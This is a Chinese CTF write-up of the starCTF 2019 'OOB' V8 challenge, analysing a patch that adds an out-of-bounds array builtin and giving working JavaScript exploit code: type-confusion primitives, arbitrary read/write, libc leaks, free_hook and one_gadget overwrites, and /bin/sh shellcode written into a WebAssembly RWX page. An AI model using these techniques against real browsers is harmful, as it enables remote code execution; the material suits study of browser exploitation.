starCTF2019-OOB

题目链接:https://github.com/sixstars/starctf2019/blob/master/pwn-OOB

参考:

https://www.freebuf.com/vuls/203721.html

https://changochen.github.io/2019-04-29-starctf-2019.html

diff文件分析

commit版本 6dc88c191f5ecc5389dc26efa3ca0907faef3598

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
 
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle array = Handle::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast(array->length()->Number());
+    if(len == 1){
+        //read  越界读
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at(1)));
+        elements.set(length,value->Number()); // 越界写
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:
 
 
  • 自定义了一个buildin函数kArrayOob,可以通过oob调用
  • 实现的功能就是在调用oob函数的时候,如果参数是一个的话,就返回length处的元素(length是数组的长度),如果参数是两个的话,就会用第二个参数的值替换到第length个函数处。
  • C++中成员函数的第一个参数必定是this指针,因此上述逻辑转换为JavaScript中的对应逻辑就是,当oob函数的参数为空时,返回数组对象第length个元素内容;当oob函数参数个数不为0时,就将第一个参数写入到数组中的第length个元素位置。

漏洞分析

简单来说,就是可以读取和修改数组的第length个元素。比如下边这个例子:

var a = [1,2,3, 1.1];
%DebugPrint(a);
%SystemBreak();
var data = a.oob();
console.log("[*] oob return data:" + data.toString());
%SystemBreak();
a.oob(2);
%SystemBreak();

调试可以发现:

root@kali:~/ctf/browser/x64.release$ gdb ./d8
pwndbg> set args --allow-natives-syntax ./test.js
pwndbg> r
0x15022c0cde49 

可以看出,第一次SystemBreak触发断点时,v8打印了数组对象a的内存地址。此时,利用job和telescope命令查看对象和elements的内存布局。低地址处是elements对象,然后紧跟其后的是a的地址。使用oob修改第length处的地址后:

// 修改之前
pwndbg> telescope 0x15022c0cde48
00:0000│   0x15022c0cde48 —▸ 0x2620a5202ed9 ◂— 0x4000027e8bae801  
  // 这个地址原本指向的是map
01:0008│   0x15022c0cde50 —▸ 0x27e8bae80c71 ◂— 0x27e8bae808
02:0010│   0x15022c0cde58 —▸ 0x15022c0cde19 ◂— 0x27e8bae814
03:0018│   0x15022c0cde60 ◂— 0x400000000
04:0020│   0x15022c0cde68 ◂— 0x0
... ↓
pwndbg> job 0x15022c0cde19  <-- 数组对象的elements结构
0x15022c0cde19: [FixedDoubleArray]
 - map: 0x27e8bae814f9 
 - length: 4
           0: 1
           1: 2
           2: 3
           3: 1.1
pwndbg> telescope 0x15022c0cde18
00:0000│   0x15022c0cde18 —▸ 0x27e8bae814f9 ◂— 0x27e8bae801
01:0008│   0x15022c0cde20 ◂— 0x400000000
02:0010│   0x15022c0cde28 ◂— 0x3ff0000000000000
03:0018│   0x15022c0cde30 ◂— 0x4000000000000000
04:0020│   0x15022c0cde38 ◂— 0x4008000000000000
05:0028│   0x15022c0cde40 ◂— 0x3ff199999999999a
06:0030│   0x15022c0cde48 —▸ 0x2620a5202ed9 ◂— 0x4000027e8bae801
07:0038│   0x15022c0cde50 —▸ 0x27e8bae80c71 ◂— 0x27e8bae808

// 修改之后
pwndbg> telescope 0x15022c0cde48
00:0000│   0x15022c0cde48 ◂— 0x4000000000000000  MAP类型
01:0008│   0x15022c0cde50 —▸ 0x27e8bae80c71 ◂— 0x27e8bae808
02:0010│   0x15022c0cde58 —▸ 0x15022c0cde19 ◂— 0x27e8bae814
03:0018│   0x15022c0cde60 ◂— 0x400000000
04:0020│   0x15022c0cde68 —▸ 0x27e8bae80561 ◂— 0x2000027e8bae801
05:0028│   0x15022c0cde70 —▸ 0x2620a5202ed9 ◂— 0x4000027e8bae801
06:0030│   0x15022c0cde78 —▸ 0x27e8bae81ea9 ◂— 0x4000027e8bae801
07:0038│   0x15022c0cde80 ◂— 0x2800000003
pwndbg> telescope 0x15022c0cde18
00:0000│   0x15022c0cde18 —▸ 0x27e8bae814f9 ◂— 0x27e8bae801
01:0008│   0x15022c0cde20 ◂— 0x400000000
02:0010│   0x15022c0cde28 ◂— 0x3ff0000000000000
03:0018│   0x15022c0cde30 ◂— 0x4000000000000000
04:0020│   0x15022c0cde38 ◂— 0x4008000000000000
05:0028│   0x15022c0cde40 ◂— 0x3ff199999999999a
06:0030│   0x15022c0cde48 ◂— 0x4000000000000000  <-- 第length个元素内容被修改为了2浮点数表示
07:0038│   0x15022c0cde50 —▸ 0x27e8bae80c71 ◂— 0x27e8bae808

因此,新增加的diff文件可以达到修改某个数组map的效果

基础知识

  • Boxing in v8
Value B is an 8 bytes long value //in x64.
If B is a double:
    B is the binary representation of a double
Else:
    if B is a int32:
        B = the value of B << 32 // which mean 0xdeadbeef is 0xdeadbeef00000000 in v8
    else: // B is a pointer
        B = B | 1

So that means v8 uses the lowest bit to indicate whether a value is a pointer. For example, the value of the map pointer of array a is 0x36a122482ed9. But actually it’s 0x36a122482ed8

Reading the output, we can see that there is a map pointer that describes the structure of the array object, and there is an element pointer that stores the elements of the array.

  • 实际的 array obj 结构为:
-32 : some pointer // not related to the challenge. This is memory is also where the element pointer points at.
-24 : length of segment
-16 : element 0 // 1.1
-8  : element 1 // 2.2
+0  : map pointer // the address where the obj pointer points at
+8  : property pointer
+16 : element pointer //pointing at location -32
+24 : length( in the high four bytes )

因此实际上oob可以修array obj的map指针,造成类型混淆,以下边代码为例:

var a = [1.0, 2.0]; // length of 2
a.oob(); // read a[2].
a.oob(0x123); // a[2] = 0x123.

Let’s take a deeper look at the map pointer

map: 0x1eeac1a02ed9 [FastProperties]

It says the element of the array is double(PACKED means there is no hole in the array). If you change the script into this:

var obj = {}
var a = [obj, 2.2];

%DebugPrint(a);

It becomes PACKED_ELEMENTS, indicating its elements are stored as object. That means the map pointer of an array indicates the type of its element. Wow, this is a good news for us as we can leak and modify this pointer!

利用思路

类型混淆

​ 基于上述分析,如果我们利用oob的读取功能将数组对象A的对象类型Map读取出来,然后利用oob的写入功能将这个类型写入数组对象B,就会导致数组对象B的类型变为了数组对象A的对象类型,这样就造成了类型混淆。

​ 举个例子,如果我们定义一个FloatArray浮点数数组A,然后定义一个对象数组B。正常情况下,访问A[0]返回的是一个浮点数,访问B[0]返回的是一个对象元素。如果将B的类型修改为A的类型,那么再次访问B[0]时,返回的就不是对象元素B[0],而是B[0]对象元素转换为浮点数即B[0]对象的内存地址了;如果将A的类型修改为B的类型,那么再次访问A[0]时,返回的就不是浮点数A[0],而是以A[0]为内存地址的一个JavaScript对象了。

出现上述漏洞的原因是v8基于map来解析特定内存处的地址,根据map将其解析为特定的数据类型来使用

  • 借助类型混淆,我们可以实现读取出任意对象的地址
  • 将需要伪造的内存地址存放到一个浮点数数组中的B[0],然后利用上述类型混淆漏洞,将浮点数数组的Map类型修改为对象数组的类型,那么B[0]此时就代表了以这个内存地址为起始地址的一个JS对象了。

攻击原语

首先声明

var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

然后实现下面两个函数。

  • addressOf 泄露某个对象的内存地址

通过改写 obj_array 的 map 后访问实现

// 泄露某个object的地址
function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.oob(float_array_map);
    let obj_addr = f2i(obj_array[0]) - 1n; // 用最后一位区分指针和数据
    obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
    return obj_addr;
}
  • fakeObject 将指定内存强制转换为一个js对象

通过改写 float_array 的 map 后访问实现

// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{
    float_array[0] = i2f(addr_to_fake + 1n);
    float_array.oob(obj_array_map);
    let faked_obj = float_array[0];
    float_array.oob(float_array_map); // 还原array类型以便后续继续使用
    return faked_obj;
}

但是实际上地址是使用浮点数存储的,直接使用tostring打印出来的结果和console.log出来的结果并不一样,而我们应该显示的是8字节16进制无符号整数,直接将浮点数转换为字符串肯定是不正确的。下面用js编写一个8字节浮点数转16进制无符号整数的代码。

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}

构造fake js object 布局:

 ArrayObject  ---->-------------------------+          
                   |      map               |          
                   +------------------------+          
                   |      prototype         |          
                   +------------------------+          
                   |      elements 指针      |          
                   |                        +
                   +------------------------+
                   |      length            |
                   +------------------------+
                   |      properties        |
                   +------------------------+

​ 恶意构造的这个数组对象的elements指针是可控的,而这个指针指向了存储数组元素内容的内存地址。如果我们将这个指针修改为我们想要访问的内存地址,那后续我们访问这个数组对象的内容,实际上访问的就是我们修改后的内存地址指向的内容,这样也就实现了对任意指定地址的内存访问读写效果了。

​ 具体说明一下,假设我们定义一个float数组对象fake_array,我们可以利用addressOf泄露fake_array对象的地址,然后根据其elements对象与fake_object的内存偏移,可以得出elements地址=addresOf(fake_object) – 0×30的关系,从内存布局中我们也能得到这样的关系。

​ 因此可以通过addreOf(fake_object)-0×20计算得出存储数组元素内容的内存地址,然后通过fakeObject函数就可以将这个地址强制转换成一个恶意构造的对象fake_object了。

​ elements对象+0×10的位置是实际存储数组元素的地方。因此我们很容易通过addreOf(fake_object)-0×20计算得出存储数组元素内容的内存地址,然后通过fakeObject函数就可以将这个地址强制转换成一个恶意构造的对象fake_object了。

+---> elements +---> +---------------+
|                    |               |
|                    +---------------+
|                    |               |
|                    +---------------+   fakeObject  +--------------+
|                    |fake_array[0]  |  +----------> |   map        |
|                    +---------------+               +--------------+         想 要 修 改 的
|                    |fake_array[1]  |               |   prototype  |         内 存
|                    +---------------+               +--------------+          +-------------+
|                    |fake_array[2]  |               |   elements   | +------> |             |
|                    +---------------+               +--------------+          |             |
|                    |               |               |              |          |             |
|                    |               |               |              |          |             |
|    fake_array+-->  +---------------+               |              |          |             |
|                    |   map         |               |              |          |             |
|                    +---------------+               |              |          |             |
|                    |   prototype   |               +--------------+          |             |
|                    +---------------+                                         |             |
+--------------------+   elements    |                                         |             |
                     +---------------+                                         |             |
                     |   length      |                                         |             |
                     +---------------+                                         |             |
                     |   properties  |                                         |             |
                     +---------------+                                         +-------------+
  • 下面是js语言实现上述任意地址读写的原语。
var fake_array = [
    float_array_map,
    i2f(0n),
    i2f(0x41414141n),
    i2f(0x1000000000n),
    1.1,
    2.2,
];
​
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
​
function read64(addr)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    let leak_data = f2i(fake_object[0]);
    console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
    return leak_data;
}
​
function write64(addr, data)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    fake_object[0] = i2f(data);
    console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));    
}

需要注意的是,在fake_array中申请了6个元素占了0×30个内存长度,因此再加上elements对象10字节的map和length,总长度应该是0×40个长度,因此fake_object所在内存位置应该为addressOf(fake_array)-0×40+0×10。

In short, the steps to exploit is:

  1. leak the map of a double array : MapA
  2. leak the map of a var array : MapB
  3. fake the memory layout of a double array at address C
  4. modify the map of a var array arr to be MapA. This makes the js engine treat the var array as double array
  5. arr[0] = C. As the the arr is now treated as a double array, the address C is written as a double.
  6. modify the map of arr back to MapB.
  7. fake_arr = arr[0]. As arr is changed back to a var array, C is treated as an obj pointer instead of a double. We successfully fake a double array.
  8. As we can control the element pointer of the fake double array, we can read or write anywhere we want! With this, we become god.

漏洞利用

  • 传统pwn
通过堆漏洞能够实现一个任意地址写的效果

结合程序功能和UAF漏洞泄露出一个libc地址

通过泄露的libc地址计算出free_hook、malloc_hook、system和one_gadget的内存地址

利用任意地址写将hook函数修改为System或one_gadget的地址,从而实现shell的执行
  • v8 pwn

在浏览器中,已经实现了任意地址读写的漏洞效果,因此这个传统的利用思路在v8中也同样适用。

另外,v8中还有一种被称之为webassembly即wasm的技术。通俗来讲,v8可以直接执行其它高级语言生成的机器码,从而加快运行效率。存储wasm的内存页是RWX可读可写可执行的,因此我们还可以通过下面的思路执行我们的shellcode:

利用webassembly构造一块RWX内存页

通过漏洞将shellcode覆写到原本属于webassembly机器码的内存页中

后续再调用webassembly函数接口时,实际上就触发了我们部署好的shellcode

传统思路

1. 随机泄露

通常情况下,我们在gdb中查看一个js对象的堆内存如下所示:

pwndbg> job 0x1be6c380fb59
0x1be6c380fb59: [JSArray]
 - map: 0x39dda87c2ed9  [FastProperties]
 - prototype: 0x193429f91111 
 - elements: 0x1be6c380fb31  [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 - properties: 0x2e9708700c71  {
    #length: 0x2c24564401a9  (const accessor descriptor)
 }
 - elements: 0x1be6c380fb31  {
           0: 1.1
           1: 2.2
           2: 3.3
 }
pwndbg> telescope 0x1be6c380fb58
00:0000│   0x1be6c380fb58 —▸ 0x39dda87c2ed9 ◂— 0x400002e97087001
01:0008│   0x1be6c380fb60 —▸ 0x2e9708700c71 ◂— 0x2e97087008
02:0010│   0x1be6c380fb68 —▸ 0x1be6c380fb31 ◂— 0x2e97087014
03:0018│   0x1be6c380fb70 ◂— 0x300000000
04:0020│   0x1be6c380fb78 ◂— 0x0
... ↓

在内存很远的地方:

pwndbg> telescope 0x1be6c380fb58-0x8000 0x500
00:0000│   0x1be6c3807b58 —▸ 0x2e9708704761 ◂— 0x4e00002e97087004
01:0008│   0x1be6c3807b60 ◂— 0x31700000000
......
478:23c0│   0x1be6c3809f18 —▸ 0x5637c71a45b0 ◂— push   rbp  <-- 属于d8内存空间的指令地址
479:23c8│   0x1be6c3809f20 —▸ 0x2e9708700b71 ◂— 0x200002e97087001
47a:23d0│   0x1be6c3809f28 —▸ 0x5637c71a45b0 ◂— push   rbp
.....

在gdb中用telescope命令查看会发现,在对象内存很远的地方会出现属于d8 binary空间的指令地址0x5637c71a45b0,再看一下这个指令所属内存页,确实属于d8二进制空间:

pwndbg> vmmap 0x5637c71a45b0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x5637c69d4000     0x5637c758a000 r-xp   bb6000 67b000 browser/x64.release/d8
pwndbg> x/gx 0x5637c71a45b0
0x5637c71a45b0 :    0x56415741e5894855

无论ASLR怎么随机,0x5637c71a45b0这一条指令地址的低3字节肯定为5b0。因此只要我们从当前对象的起始地址处开始向上低地址搜索,读取8字节内容,如果读取的8字节内容低三字节满足0x5b0这个条件,并且从这个内容为地址读取的内容如果为0x56415741e5894855,那么基本可以断定读取的这8字节即为d8中的指令地址了。

内存搜索代码如下:

var a = [1.1, 2.2, 3.3];
%DebugPrint(a);
var start_addr = addressOf(a);
var leak_d8_addr = 0n;
while(1)
{
    start_addr -= 0x8n;
    leak_d8_addr = read64(start_addr);
    if((leak_d8_addr & 0xfffn) == 0x05b0n && read64(leak_d8_addr) == 0x56415741e5894855n)
    {
        console.log("[*] Success find leak_d8_addr: 0x" + hex(leak_d8_addr));
        break;
    }
}
​
console.log("[*] Done.");

后续操作就是,计算d8基地址,读取GOT表中malloc等libc函数的内存地址,然后然后计算free_hook或system或one_gadget的地址,最后将system或one_gadget写入free_hook触发hook调用即可实现命令执行,以libc.2.27.so为例,具体实现如下:

var d8_base_addr = leak_d8_addr -0xE4B5B0n;
var d8_got_libc_start_main_addr = d8_base_addr + 0x128FB70n;
​
var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
var libc_base_addr = libc_start_main_addr - 0x21ab0n;
var libc_system_addr = libc_base_addr + 0x4f440n;
var libc_free_hook_addr = libc_base_addr + 0x3ed8e8n;
​
console.log("[*] find libc libc_free_hook_addr: 0x" + hex(libc_free_hook_addr));  <---- 正常
%SystemBreak();
​
write64(libc_free_hook_addr, libc_system_addr);  <---- 触发内存访问异常
console.log("[*] Write ok.");
%SystemBreak();

细心的童鞋应该会发现,我们要写的内存地址0x00007f16f641b8e8在write64时低20位却被程序莫名奇妙地改写为了0,从而导致了后续写入操作的失败。

这是因为我们write64写原语使用的是FloatArray的写入操作,而Double类型的浮点数数组在处理7f开头的高地址时会出现将低20位与运算为0,从而导致上述操作无法写入的错误。这个解释不一定正确,希望知道的童鞋补充一下。出现的结果就是,直接用FloatArray方式向高地址写入会不成功。

使用dataview:

var buffer = **new** ArrayBuffer(16);
var view = **new** DataView(buffer);
view.setUint32(0, 0x44434241, true);
console.log(view.getUint8(0, true));
%DebugPrint(view);
%SystemBreak();

重新修改写原语:

var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
​
function write64_dataview(addr, data)
{
    write64(buf_backing_store_addr, addr);
    data_view.setFloat64(0, i2f(data), true);
    %SystemBreak();
    console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
​
write64_dataview(libc_free_hook_addr, libc_system_addr);
%SystemBreak();

获取shell:

function get_shell()
{
    let get_shell_buffer = new ArrayBuffer(0x1000);
    let get_shell_dataview = new DataView(get_shell_buffer);
    get_shell_dataview.setFloat64(0, i2f(0x0068732f6e69622fn)); // str --> /bin/sh\x00 
}
get_shell();
2. 稳定泄露

上面讲解了随机泄露的思路,虽然这种方式适用于很多情况,但万一当前对象内存低地址处并没有找到这样的d8二进制中的指令地址,或者向上遍历过程中,如果还没有遍历到需要的指令地址就触发了一个内存访问异常怎么办?

因此上述套路总感觉有一定的不确定性,那么有没有一种稳定的方式来泄露d8的指令地址呢?

答案是,当然有的。在调试上述随机泄露的过程中,由于对浏览器堆内存认识不熟悉,刚开始用手动的方式寻找上述指令地址。找了好久都没有找到,然后就各种Google查询,很幸运的是,我从Google发现了下面这种稳定的泄露方式。

首先用gdb调试如下js代码:

var test_array = [1.1];
%DebugPrint(test_array);
%SystemBreak();

查看Array对象结构 –> 查看对象的Map属性 –> 查看Map中指定的constructor结构 –> 查看code属性 –>在code内存地址的固定偏移处存储了v8二进制的指令地址。可以发现在code偏移的0×40处出现了d8二进制内存空间的指令地址,vmmap确认一下:

pwndbg> vmmap 0x564388fbdaa0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x564388689000     0x56438923f000 r-xp   bb6000 67b000 browser/x64.release/d8
pwndbg> telescope 0x564388fbdaa0
00:0000│   0x564388fbdaa0 (Builtins_ArrayConstructor) ◂— cmp    qword ptr [r13 - 0x28], rdx
01:0008│   0x564388fbdaa8 (Builtins_ArrayConstructor+8) ◂— retf   0x3eb
02:0010│   0x564388fbdab0 (Builtins_ArrayConstructor+16) ◂— pop    rbp
03:0018│   0x564388fbdab8 (Builtins_ArrayConstructor+24) ◂— add    byte ptr [rax], al

可以发现,这个指令确实是d8二进制中指令地址,主要用于内置数组的构造。

也就是说,v8在生成一个数组对象过程中,会对应着生成一个code对象,这个code对象中存储了和该数组对象相关的构造函数指令,而这些构造函数指令又会去调用d8二进制中的指令地址来完成对数组对象的构造。

因此,我们可以利用上述地址偏移,结合地址泄露addressOf和任意地址读取read64,稳定地得到一个v8中的二进制指令地址。具体的JavaScript实现思路如下所示:

var a = [1.1, 2.2, 3.3];
%DebugPrint(a);
var code_addr = read64(addressOf(a.constructor) + 0x30n);
var leak_d8_addr = read64(code_addr + 0x41n);
console.log("[*] find libc leak_d8_addr: 0x" + hex(leak_d8_addr));
%SystemBreak();
3. 使用onegadget

​ 在利用上述随机泄露和稳定泄露获取libc地址后,除了将free_hook修改为system外,我们还可以利用one_gadget来触发system调用。通常我们找到的one_gadget是这样的:

满足约束条件的技巧:

利用realloc_hook结合malloc_hook调整栈空间布局,然后再触发one_gadget。malloc_hook-0×8的位置就是realloc_hook的地址,查看realloc函数内容:

.text:0000000000098C30                 push    r15             ; Alternative name is '__libc_realloc'
.text:0000000000098C32                 push    r14
.text:0000000000098C34                 push    r13
.text:0000000000098C36                 push    r12
.text:0000000000098C38                 push    rbp
.text:0000000000098C39                 push    rbx  <-- 如果从这里执行栈空间就向高地址偏移了0x40个字节
.text:0000000000098C3A                 sub     rsp, 18h
.text:0000000000098C3E                 mov     rax, cs:__realloc_hook_ptr
.text:0000000000098C45                 mov     rax, [rax]
.text:0000000000098C48                 test    rax, rax
.text:0000000000098C4B                 jnz     loc_98EE0
... ...
.text:0000000000098EE0                 mov     rdx, [rsp+48h]
.text:0000000000098EE5                 add     rsp, 18h
.text:0000000000098EE9                 pop     rbx
.text:0000000000098EEA                 pop     rbp
.text:0000000000098EEB                 pop     r12
.text:0000000000098EED                 pop     r13
.text:0000000000098EEF                 pop     r14
.text:0000000000098EF1                 pop     r15
.text:0000000000098EF3                 jmp     rax

​ 只要保证realloc_hook不为空,realloc函数最终会去调用realloc_hook。仔细观察上述这段指令,可以发现它具有调整栈空间偏移的作用。

​ 如果我们从realloc起始地址运行调用reall_hook的话,经过push pop后,栈空间最终肯定还是平衡的。但如果我们不从函数起始地址98C30开始执行,而是从后面的比如98C39地址开始执行,程序就少push了5个寄存器,最终在触发realloc_hook时就会导致栈空间多pop了5个寄存器,也就导致栈空间向高地址偏移了0×40个字节。

​ 利用上述栈空间调节技巧,我们可以在malloc_hook处写上realloc函数98C39的地址,然后在realloc_hook处填写上one_gadget的地址,这样我们就可以动态调整栈空间布局了。很有可能在触发one_gadget时就满足了栈空间要求。

​ 我们可以在第一次write64时,利用DataView的特性结合realloc_hook和malloc_hook在内存中是连续的这一特点,同时改写两者的内存,实际js实现代码如下所示:

var data_buf = new ArrayBuffer(16);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
​
function write64_dataview_double(addr, data1, data2)
{
    write64(buf_backing_store_addr, addr);
    data_view.setFloat64(0, i2f(data1), true);
    data_view.setFloat64(8, i2f(data2), true);
}
write64_dataview_doublelibc_realloc_hook, data_to_realloc_hook, data_to_mallo_hook);

这样后续就可以连续触发malloc_hook和realloc_hook了。当然如果这样调整栈空间后,调用one_gadget时的栈空间布局还不满足要求的话,就可以尝试在触发漏洞之前先调用一些无用的js代码,动态改变执行one_gadget时的栈空间布局,后续执行one_gadget时或许就能满足栈空间要求了,有兴趣的童鞋可以做一下测试。

wasm

wasm即webassembly,可能很多童鞋对它都很陌生,我基本上也是第一次接触。不过刚开始学习浏览器的话,先简单了解一下基础用法就可以。简单来说,wasm就是可以让JavaScript直接执行高级语言生成的机器码的一种技术。

1. Wasm简单用法

有高人已经做出来一个WasmFiddle网站,可以在线将C语言直接转换为wasm并生成JS配套调用代码。首先我们来试用一下在线编译,感受感受wasm的魅力。

首先进入网站https://wasdk.github.io/WasmFiddle/,可以看到左侧是c语言代码,右侧是JS调用代码,左下角可以选择c语言要转换成的wasm格式,包括Text格式、Code Buffer等,右下角可以看到js调用wasm的最终调用效果。

左下角选择Code Buffer,然后点击最上方的Build按钮,就可以看到左下角生成了我们需要的wasm代码。点击Run,右下角就可以看到js调用输出了C语言返回的数字42。

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
​
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
​
var d = f();
console.log("[*] return from wasm: " + d);
%SystemBreak();

简单来说就是,wasm从安全性考虑也不可能允许通过浏览器直接调用系统函数。wasm中只能运行数学计算、图像处理等系统无关的高级语言代码。

2. 如何在wasm中运行shellcode

替换系统中原有加载的wasm代码,当后续调用wasm的接口时,实际上调用的就是我们的shellcode了。

那么我们利用wasm执行shellcode的思路已经基本清晰:

首先加载一段wasm代码到内存中

然后通过addresssOf原语找到存放wasm的内存地址

接着通过任意地址写原语用shellcode替换原本wasm的代码内容

最后调用wasm的函数接口即可触发调用shellcode

​ 利用job命令查看函数结构对象,经过Function–>shared_info–>WasmExportedFunctionData–>instance等一系列调用关系,在instance+0×88的固定偏移处,就能读取到存储wasm代码的内存页起始地址.

​ 成功泄露了rwx内存页的起始地址,后续只要利用任意地址写write64原语我们的shellcode写入这个rwx页,然后调用wasm函数接口即可触发我们的shellcode了。

/* /bin/sh for linux x64
 char shellcode[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f \x2f\x62\x69\x6e\x2f\x73\x68\x53 \x54\x5f\x52\x57\x54\x5e\x0f\x05";
*/
var shellcode = [
    0x2fbb485299583b6an,
    0x5368732f6e69622fn,
    0x050f5e5457525f54n
];
​
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
​
write64(buf_backing_store_addr, rwx_page_addr);  //这里写入之前泄露的rwx_page_addr地址
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);
​
f();

总结

这道题目思路还是比较清晰的,链接中作者的步骤也说的很清楚,简单来说v8pwn的一般步骤就是先分析diff文件,考虑怎么构造任意地址读写原语,这中间可能需要对V8的优化过程和一些机制理解的比较清楚,然后就是利用传统的堆漏洞利用方式,或者使用wasm达到利用的目的。

参考

  • https://changochen.github.io/2019-04-29-starctf-2019.html

  • https://www.freebuf.com/vuls/203721.html

你可能感兴趣的:(starCTF2019-OOB)